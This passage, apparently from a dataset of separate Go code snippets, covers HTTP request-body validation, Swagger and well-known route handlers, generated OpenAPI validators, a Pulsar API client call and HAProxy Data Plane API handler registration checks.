!= -1 {\n\t\t\tif op.BodyReadTimeout > 0 {\n\t\t\t\tctx.SetReadDeadline(time.Now().Add(op.BodyReadTimeout))\n\t\t\t} else if op.BodyReadTimeout < 0 {\n\t\t\t\t// Disable any server-wide deadline.\n\t\t\t\tctx.SetReadDeadline(time.Time{})\n\t\t\t}\n\n\t\t\tbuf := bufPool.Get().(*bytes.Buffer)\n\t\t\treader := ctx.BodyReader()\n\t\t\tif closer, ok := reader.(io.Closer); ok {\n\t\t\t\tdefer closer.Close()\n\t\t\t}\n\t\t\tif op.MaxBodyBytes > 0 {\n\t\t\t\treader = io.LimitReader(reader, op.MaxBodyBytes)\n\t\t\t}\n\t\t\tcount, err := io.Copy(buf, reader)\n\t\t\tif op.MaxBodyBytes > 0 {\n\t\t\t\tif count == op.MaxBodyBytes {\n\t\t\t\t\tbuf.Reset()\n\t\t\t\t\tbufPool.Put(buf)\n\t\t\t\t\tWriteErr(api, ctx, http.StatusRequestEntityTooLarge, fmt.Sprintf(\"request body is too large limit=%d bytes\", op.MaxBodyBytes), res.Errors...)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tbuf.Reset()\n\t\t\t\tbufPool.Put(buf)\n\n\t\t\t\tif e, ok := err.(net.Error); ok && e.Timeout() {\n\t\t\t\t\tWriteErr(api, ctx, http.StatusRequestTimeout, \"request body read timeout\", res.Errors...)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tWriteErr(api, ctx, http.StatusInternalServerError, \"cannot read request body\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tbody := buf.Bytes()\n\n\t\t\tif rawBodyIndex != -1 {\n\t\t\t\tf := v.Field(rawBodyIndex)\n\t\t\t\tf.SetBytes(body)\n\t\t\t}\n\n\t\t\tif len(body) == 0 {\n\t\t\t\tkind := v.Field(inputBodyIndex).Kind()\n\t\t\t\tif kind != reflect.Ptr && kind != reflect.Interface {\n\t\t\t\t\tbuf.Reset()\n\t\t\t\t\tbufPool.Put(buf)\n\t\t\t\t\tWriteErr(api, ctx, http.StatusBadRequest, \"request body is required\", res.Errors...)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tparseErrCount := 0\n\t\t\t\tif !op.SkipValidateBody {\n\t\t\t\t\t// Validate the input. First, parse the body into []any or map[string]any\n\t\t\t\t\t// or equivalent, which can be easily validated. Then, convert to the\n\t\t\t\t\t// expected struct type to call the handler.\n\t\t\t\t\tvar parsed any\n\t\t\t\t\tif err := api.Unmarshal(ctx.Header(\"Content-Type\"), body, &parsed); err != nil {\n\t\t\t\t\t\t// TODO: handle not acceptable\n\t\t\t\t\t\terrStatus = http.StatusBadRequest\n\t\t\t\t\t\tres.Errors = append(res.Errors, &ErrorDetail{\n\t\t\t\t\t\t\tLocation: \"body\",\n\t\t\t\t\t\t\tMessage: err.Error(),\n\t\t\t\t\t\t\tValue: body,\n\t\t\t\t\t\t})\n\t\t\t\t\t\tparseErrCount++\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpb.Reset()\n\t\t\t\t\t\tpb.Push(\"body\")\n\t\t\t\t\t\tcount := len(res.Errors)\n\t\t\t\t\t\tValidate(oapi.Components.Schemas, inSchema, pb, ModeWriteToServer, parsed, res)\n\t\t\t\t\t\tparseErrCount = len(res.Errors) - count\n\t\t\t\t\t\tif parseErrCount > 0 {\n\t\t\t\t\t\t\terrStatus = http.StatusUnprocessableEntity\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// We need to get the body into the correct type now that it has been\n\t\t\t\t// validated. Benchmarks on Go 1.20 show that using `json.Unmarshal` a\n\t\t\t\t// second time is faster than `mapstructure.Decode` or any of the other\n\t\t\t\t// common reflection-based approaches when using real-world medium-sized\n\t\t\t\t// JSON payloads with lots of strings.\n\t\t\t\tf := v.Field(inputBodyIndex)\n\t\t\t\tif err := api.Unmarshal(ctx.Header(\"Content-Type\"), body, f.Addr().Interface()); err != nil {\n\t\t\t\t\tif parseErrCount == 0 {\n\t\t\t\t\t\t// Hmm, this should have worked... validator missed something?\n\t\t\t\t\t\tres.Errors = append(res.Errors, &ErrorDetail{\n\t\t\t\t\t\t\tLocation: \"body\",\n\t\t\t\t\t\t\tMessage: err.Error(),\n\t\t\t\t\t\t\tValue: string(body),\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Set defaults for any fields that were not in the input.\n\t\t\t\t\tdefaults.Every(v, func(item reflect.Value, def any) {\n\t\t\t\t\t\tif item.IsZero() {\n\t\t\t\t\t\t\titem.Set(reflect.Indirect(reflect.ValueOf(def)))\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t}\n\n\t\t\t\tbuf.Reset()\n\t\t\t\tbufPool.Put(buf)\n\t\t\t}\n\t\t}\n\n\t\tresolvers.EveryPB(pb, v, func(item reflect.Value, _ bool) {\n\t\t\tif resolver, ok := item.Addr().Interface().(Resolver); ok {\n\t\t\t\tif errs := resolver.Resolve(ctx); len(errs) > 0 {\n\t\t\t\t\tres.Errors = append(res.Errors, errs...)\n\t\t\t\t}\n\t\t\t} else if resolver, ok := item.Addr().Interface().(ResolverWithPath); ok {\n\t\t\t\tif errs := resolver.Resolve(ctx, pb); len(errs) > 0 {\n\t\t\t\t\tres.Errors = append(res.Errors, errs...)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpanic(\"matched resolver cannot be run, please file a bug\")\n\t\t\t}\n\t\t})\n\n\t\tif len(res.Errors) > 0 {\n\t\t\tWriteErr(api, ctx, errStatus, \"validation failed\", res.Errors...)\n\t\t\treturn\n\t\t}\n\n\t\toutput, err := handler(ctx.Context(), &input)\n\t\tif err != nil {\n\t\t\tstatus := http.StatusInternalServerError\n\t\t\tif se, ok := err.(StatusError); ok {\n\t\t\t\tstatus = se.GetStatus()\n\t\t\t} else {\n\t\t\t\terr = NewError(http.StatusInternalServerError, err.Error())\n\t\t\t}\n\n\t\t\tct, _ := api.Negotiate(ctx.Header(\"Accept\"))\n\t\t\tif ctf, ok := err.(ContentTypeFilter); ok {\n\t\t\t\tct = ctf.ContentType(ct)\n\t\t\t}\n\n\t\t\tctx.SetStatus(status)\n\t\t\tctx.SetHeader(\"Content-Type\", ct)\n\t\t\tapi.Marshal(ctx, strconv.Itoa(status), ct, err)\n\t\t\treturn\n\t\t}\n\n\t\t// Serialize output headers\n\t\tct := \"\"\n\t\tvo := reflect.ValueOf(output).Elem()\n\t\toutHeaders.Every(vo, func(f reflect.Value, info *headerInfo) {\n\t\t\tswitch f.Kind() {\n\t\t\tcase reflect.String:\n\t\t\t\tctx.SetHeader(info.Name, f.String())\n\t\t\t\tif info.Name == \"Content-Type\" {\n\t\t\t\t\tct = f.String()\n\t\t\t\t}\n\t\t\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatInt(f.Int(), 10))\n\t\t\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatUint(f.Uint(), 10))\n\t\t\tcase reflect.Float32, reflect.Float64:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatFloat(f.Float(), 'f', -1, 64))\n\t\t\tcase reflect.Bool:\n\t\t\t\tctx.SetHeader(info.Name, strconv.FormatBool(f.Bool()))\n\t\t\tdefault:\n\t\t\t\tif f.Type() == timeType {\n\t\t\t\t\tctx.SetHeader(info.Name, f.Interface().(time.Time).Format(info.TimeFormat))\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tctx.SetHeader(info.Name, fmt.Sprintf(\"%v\", f.Interface()))\n\t\t\t}\n\t\t})\n\n\t\tstatus := op.DefaultStatus\n\t\tif outStatusIndex != -1 {\n\t\t\tstatus = int(vo.Field(outStatusIndex).Int())\n\t\t}\n\n\t\tif outBodyIndex != -1 {\n\t\t\t// Serialize output body\n\t\t\tbody := vo.Field(outBodyIndex).Interface()\n\n\t\t\tif outBodyFunc {\n\t\t\t\tbody.(func(Context))(ctx)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif b, ok := body.([]byte); ok {\n\t\t\t\tctx.SetStatus(status)\n\t\t\t\tctx.BodyWriter().Write(b)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Only write a content type if one wasn't already written by the\n\t\t\t// response headers handled above.\n\t\t\tif ct == \"\" {\n\t\t\t\tct, err = api.Negotiate(ctx.Header(\"Accept\"))\n\t\t\t\tif err != nil {\n\t\t\t\t\tWriteErr(api, ctx, http.StatusNotAcceptable, \"unable to marshal response\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif ctf, ok := body.(ContentTypeFilter); ok {\n\t\t\t\t\tct = ctf.ContentType(ct)\n\t\t\t\t}\n\n\t\t\t\tctx.SetHeader(\"Content-Type\", ct)\n\t\t\t}\n\n\t\t\tctx.SetStatus(status)\n\t\t\tapi.Marshal(ctx, strconv.Itoa(op.DefaultStatus), ct, body)\n\t\t} else {\n\t\t\tctx.SetStatus(status)\n\t\t}\n\t})\n}","func (r RequestDrivenWebServiceHttpConfig) validate() error {\n\tif err := r.HealthCheckConfiguration.validate(); err != nil {\n\t\treturn err\n\t}\n\treturn r.Private.validate()\n}","func (s service) Validate(ctx context.Context, model documents.Model, old documents.Model) error {\n\treturn nil\n}","func (r *Routes) configureWellKnown(healthFunc func() bool) {\n\twellKnown := r.Group(\"/.well-known\")\n\t{\n\t\twellKnown.GET(\"/schema-discovery\", func(ctx *gin.Context) {\n\t\t\tdiscovery := struct {\n\t\t\t\tSchemaURL string `json:\"schema_url\"`\n\t\t\t\tSchemaType string `json:\"schema_type\"`\n\t\t\t\tUIURL string `json:\"ui_url\"`\n\t\t\t}{\n\t\t\t\tSchemaURL: \"/swagger.json\",\n\t\t\t\tSchemaType: \"swagger-2.0\",\n\t\t\t}\n\t\t\tctx.JSON(http.StatusOK, &discovery)\n\t\t})\n\t\twellKnown.GET(\"/health\", healthHandler(healthFunc))\n\t}\n\n\tr.GET(\"/swagger.json\", func(ctx *gin.Context) {\n\t\tctx.String(http.StatusOK, string(SwaggerJSON))\n\t})\n}","func (r *Routes) configureWellKnown(healthFunc func() bool) {\n\twellKnown := r.Group(\"/.well-known\")\n\t{\n\t\twellKnown.GET(\"/schema-discovery\", func(ctx *gin.Context) {\n\t\t\tdiscovery := struct {\n\t\t\t\tSchemaURL string `json:\"schema_url\"`\n\t\t\t\tSchemaType string `json:\"schema_type\"`\n\t\t\t\tUIURL string `json:\"ui_url\"`\n\t\t\t}{\n\t\t\t\tSchemaURL: \"/swagger.json\",\n\t\t\t\tSchemaType: \"swagger-2.0\",\n\t\t\t}\n\t\t\tctx.JSON(http.StatusOK, &discovery)\n\t\t})\n\t\twellKnown.GET(\"/health\", healthHandler(healthFunc))\n\t}\n\n\tr.GET(\"/swagger.json\", func(ctx *gin.Context) {\n\t\tctx.String(http.StatusOK, string(SwaggerJSON))\n\t})\n}","func (o *GetRelationTuplesNotFoundBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (o *GetGatewayUsingGETNotFoundBody) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := o.validateMessage(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}","func Handler(configFns ...func(*Config)) http.HandlerFunc {\n\n\tconfig := newConfig(configFns...)\n\n\t// create a template with name\n\tindex, _ := template.New(\"swagger_index.html\").Parse(indexTempl)\n\n\tre := regexp.MustCompile(`^(.*/)([^?].*)?[?|.]*$`)\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method != http.MethodGet {\n\t\t\thttp.Error(w, \"Method not allowed\", http.StatusMethodNotAllowed)\n\n\t\t\treturn\n\t\t}\n\n\t\tmatches := re.FindStringSubmatch(r.RequestURI)\n\n\t\tpath := matches[2]\n\n\t\tswitch filepath.Ext(path) {\n\t\tcase \".html\":\n\t\t\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\n\t\tcase \".css\":\n\t\t\tw.Header().Set(\"Content-Type\", \"text/css; charset=utf-8\")\n\t\tcase \".js\":\n\t\t\tw.Header().Set(\"Content-Type\", \"application/javascript\")\n\t\tcase \".png\":\n\t\t\tw.Header().Set(\"Content-Type\", \"image/png\")\n\t\tcase \".json\":\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\t\t}\n\n\t\tswitch path {\n\t\tcase \"index.html\":\n\t\t\t_ = index.Execute(w, config)\n\t\tcase \"doc.json\":\n\t\t\tdoc, err := swag.ReadDoc(config.InstanceName)\n\t\t\tif err != nil {\n\t\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t_, _ = w.Write([]byte(doc))\n\t\tcase \"\":\n\t\t\thttp.Redirect(w, r, matches[1]+\"/\"+\"index.html\", http.StatusMovedPermanently)\n\t\tdefault:\n\t\t\tr.URL.Path = matches[2]\n\t\t\thttp.FileServer(http.FS(swaggerFiles.FS)).ServeHTTP(w, r)\n\t\t}\n\t}\n}","func (r *HelloReq) Validate() error {\n\treturn validate.Struct(r)\n}","func (o *JudgeNotFoundBody) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func (r *RouteSpecFields) Validate(ctx context.Context) (errs *apis.FieldError) {\n\n\tif r.Domain == \"\" {\n\t\terrs = errs.Also(apis.ErrMissingField(\"domain\"))\n\t}\n\n\tif r.Hostname == \"www\" {\n\t\terrs = errs.Also(apis.ErrInvalidValue(\"hostname\", r.Hostname))\n\t}\n\n\tif _, err := BuildPathRegexp(r.Path); err != nil {\n\t\terrs = errs.Also(apis.ErrInvalidValue(\"path\", r.Path))\n\t}\n\n\treturn errs\n}","func (m *ArrayConnectionPathOAIGenAllOf1) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func Validate(schema *gojsonschema.Schema, document gojsonschema.JSONLoader) (*errors.Errs, error) {\n\tresult, err := schema.Validate(document)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif result.Valid() {\n\t\treturn nil, nil\n\t}\n\tvar errs errors.Errs\n\tfor _, resultErr := range result.Errors() {\n\t\terrs = append(errs, resultErrorToError(resultErr))\n\t}\n\treturn &errs, nil\n}","func (a *NamespacesApiService) GetSchemaValidtionEnforced(ctx _context.Context, tenant string, namespace string) (bool, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue bool\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/namespaces/{tenant}/{namespace}/schemaValidationEnforced\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"tenant\"+\"}\", _neturl.QueryEscape(fmt.Sprintf(\"%v\", tenant)), -1)\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"namespace\"+\"}\", _neturl.QueryEscape(fmt.Sprintf(\"%v\", namespace)), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 200 {\n\t\t\tvar v bool\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}","func (r *Route) Validate(ctx context.Context) (errs *apis.FieldError) {\n\t// If we're specifically updating status, don't reject the change because\n\t// of a spec issue.\n\tif apis.IsInStatusUpdate(ctx) {\n\t\treturn\n\t}\n\n\tif r.Name == \"\" {\n\t\terrs = errs.Also(apis.ErrMissingField(\"name\"))\n\t}\n\n\terrs = errs.Also(r.Spec.Validate(apis.WithinSpec(ctx)).ViaField(\"spec\"))\n\n\t// If we have errors, bail. No need to do the network call.\n\tif errs.Error() != \"\" {\n\t\treturn errs\n\t}\n\n\treturn checkVirtualServiceCollision(ctx, r.Spec.Hostname, r.Spec.Domain, r.GetNamespace(), errs)\n}","func (o *DataPlaneAPI) Validate() error {\n\tvar unregistered []string\n\n\tif o.JSONConsumer == nil {\n\t\tunregistered = append(unregistered, \"JSONConsumer\")\n\t}\n\n\tif o.TxtConsumer == nil {\n\t\tunregistered = append(unregistered, \"TxtConsumer\")\n\t}\n\n\tif o.JSONProducer == nil {\n\t\tunregistered = append(unregistered, \"JSONProducer\")\n\t}\n\n\tif o.TxtProducer == nil {\n\t\tunregistered = append(unregistered, \"TxtProducer\")\n\t}\n\n\tif o.BasicAuthAuth == nil {\n\t\tunregistered = append(unregistered, \"BasicAuthAuth\")\n\t}\n\n\tif o.TransactionsCommitTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.CommitTransactionHandler\")\n\t}\n\n\tif o.ACLCreateACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.CreateACLHandler\")\n\t}\n\n\tif o.BackendCreateBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.CreateBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleCreateBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.CreateBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BindCreateBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.CreateBindHandler\")\n\t}\n\n\tif o.FilterCreateFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.CreateFilterHandler\")\n\t}\n\n\tif o.FrontendCreateFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.CreateFrontendHandler\")\n\t}\n\n\tif o.HTTPRequestRuleCreateHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.CreateHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleCreateHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.CreateHTTPResponseRuleHandler\")\n\t}\n\n\tif o.LogTargetCreateLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.CreateLogTargetHandler\")\n\t}\n\n\tif o.ServerCreateServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.CreateServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleCreateServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.CreateServerSwitchingRuleHandler\")\n\t}\n\n\tif o.SitesCreateSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.CreateSiteHandler\")\n\t}\n\n\tif o.StickRuleCreateStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.CreateStickRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleCreateTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.CreateTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleCreateTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.CreateTCPResponseRuleHandler\")\n\t}\n\n\tif o.ACLDeleteACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.DeleteACLHandler\")\n\t}\n\n\tif o.BackendDeleteBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.DeleteBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleDeleteBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.DeleteBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BindDeleteBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.DeleteBindHandler\")\n\t}\n\n\tif o.FilterDeleteFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.DeleteFilterHandler\")\n\t}\n\n\tif o.FrontendDeleteFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.DeleteFrontendHandler\")\n\t}\n\n\tif o.HTTPRequestRuleDeleteHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.DeleteHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleDeleteHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.DeleteHTTPResponseRuleHandler\")\n\t}\n\n\tif o.LogTargetDeleteLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.DeleteLogTargetHandler\")\n\t}\n\n\tif o.ServerDeleteServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.DeleteServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleDeleteServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.DeleteServerSwitchingRuleHandler\")\n\t}\n\n\tif o.SitesDeleteSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.DeleteSiteHandler\")\n\t}\n\n\tif o.StickRuleDeleteStickRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"stick_rule.DeleteStickRuleHandler\")\n\t}\n\n\tif o.TCPRequestRuleDeleteTCPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_request_rule.DeleteTCPRequestRuleHandler\")\n\t}\n\n\tif o.TCPResponseRuleDeleteTCPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"tcp_response_rule.DeleteTCPResponseRuleHandler\")\n\t}\n\n\tif o.TransactionsDeleteTransactionHandler == nil {\n\t\tunregistered = append(unregistered, \"transactions.DeleteTransactionHandler\")\n\t}\n\n\tif o.DiscoveryGetAPIEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetAPIEndpointsHandler\")\n\t}\n\n\tif o.ACLGetACLHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.GetACLHandler\")\n\t}\n\n\tif o.ACLGetAclsHandler == nil {\n\t\tunregistered = append(unregistered, \"acl.GetAclsHandler\")\n\t}\n\n\tif o.BackendGetBackendHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.GetBackendHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleGetBackendSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.GetBackendSwitchingRuleHandler\")\n\t}\n\n\tif o.BackendSwitchingRuleGetBackendSwitchingRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"backend_switching_rule.GetBackendSwitchingRulesHandler\")\n\t}\n\n\tif o.BackendGetBackendsHandler == nil {\n\t\tunregistered = append(unregistered, \"backend.GetBackendsHandler\")\n\t}\n\n\tif o.BindGetBindHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.GetBindHandler\")\n\t}\n\n\tif o.BindGetBindsHandler == nil {\n\t\tunregistered = append(unregistered, \"bind.GetBindsHandler\")\n\t}\n\n\tif o.DiscoveryGetConfigurationEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetConfigurationEndpointsHandler\")\n\t}\n\n\tif o.DefaultsGetDefaultsHandler == nil {\n\t\tunregistered = append(unregistered, \"defaults.GetDefaultsHandler\")\n\t}\n\n\tif o.FilterGetFilterHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.GetFilterHandler\")\n\t}\n\n\tif o.FilterGetFiltersHandler == nil {\n\t\tunregistered = append(unregistered, \"filter.GetFiltersHandler\")\n\t}\n\n\tif o.FrontendGetFrontendHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.GetFrontendHandler\")\n\t}\n\n\tif o.FrontendGetFrontendsHandler == nil {\n\t\tunregistered = append(unregistered, \"frontend.GetFrontendsHandler\")\n\t}\n\n\tif o.GlobalGetGlobalHandler == nil {\n\t\tunregistered = append(unregistered, \"global.GetGlobalHandler\")\n\t}\n\n\tif o.ConfigurationGetHAProxyConfigurationHandler == nil {\n\t\tunregistered = append(unregistered, \"configuration.GetHAProxyConfigurationHandler\")\n\t}\n\n\tif o.HTTPRequestRuleGetHTTPRequestRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.GetHTTPRequestRuleHandler\")\n\t}\n\n\tif o.HTTPRequestRuleGetHTTPRequestRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"http_request_rule.GetHTTPRequestRulesHandler\")\n\t}\n\n\tif o.HTTPResponseRuleGetHTTPResponseRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.GetHTTPResponseRuleHandler\")\n\t}\n\n\tif o.HTTPResponseRuleGetHTTPResponseRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"http_response_rule.GetHTTPResponseRulesHandler\")\n\t}\n\n\tif o.DiscoveryGetHaproxyEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetHaproxyEndpointsHandler\")\n\t}\n\n\tif o.InformationGetHaproxyProcessInfoHandler == nil {\n\t\tunregistered = append(unregistered, \"information.GetHaproxyProcessInfoHandler\")\n\t}\n\n\tif o.InformationGetInfoHandler == nil {\n\t\tunregistered = append(unregistered, \"information.GetInfoHandler\")\n\t}\n\n\tif o.LogTargetGetLogTargetHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.GetLogTargetHandler\")\n\t}\n\n\tif o.LogTargetGetLogTargetsHandler == nil {\n\t\tunregistered = append(unregistered, \"log_target.GetLogTargetsHandler\")\n\t}\n\n\tif o.ReloadsGetReloadHandler == nil {\n\t\tunregistered = append(unregistered, \"reloads.GetReloadHandler\")\n\t}\n\n\tif o.ReloadsGetReloadsHandler == nil {\n\t\tunregistered = append(unregistered, \"reloads.GetReloadsHandler\")\n\t}\n\n\tif o.DiscoveryGetRuntimeEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetRuntimeEndpointsHandler\")\n\t}\n\n\tif o.ServerGetRuntimeServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetRuntimeServerHandler\")\n\t}\n\n\tif o.ServerGetRuntimeServersHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetRuntimeServersHandler\")\n\t}\n\n\tif o.ServerGetServerHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetServerHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleGetServerSwitchingRuleHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.GetServerSwitchingRuleHandler\")\n\t}\n\n\tif o.ServerSwitchingRuleGetServerSwitchingRulesHandler == nil {\n\t\tunregistered = append(unregistered, \"server_switching_rule.GetServerSwitchingRulesHandler\")\n\t}\n\n\tif o.ServerGetServersHandler == nil {\n\t\tunregistered = append(unregistered, \"server.GetServersHandler\")\n\t}\n\n\tif o.DiscoveryGetServicesEndpointsHandler == nil {\n\t\tunregistered = append(unregistered, \"discovery.GetServicesEndpointsHandler\")\n\t}\n\n\tif o.SitesGetSiteHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.GetSiteHandler\")\n\t}\n\n\tif o.SitesGetSitesHandler == nil {\n\t\tunregistered = append(unregistered, \"sites.GetSitesHandler\")\n\t}\n\n\tif o.SpecificationGetSpecificationHandler == nil {\n\t\tunregistered = append(unregistered, \"specification.GetSpecificationHandler\")\n\t}\n\n\tif o.StatsGetStatsHandler == nil {\n\t\tunregistered = append(unregistered, 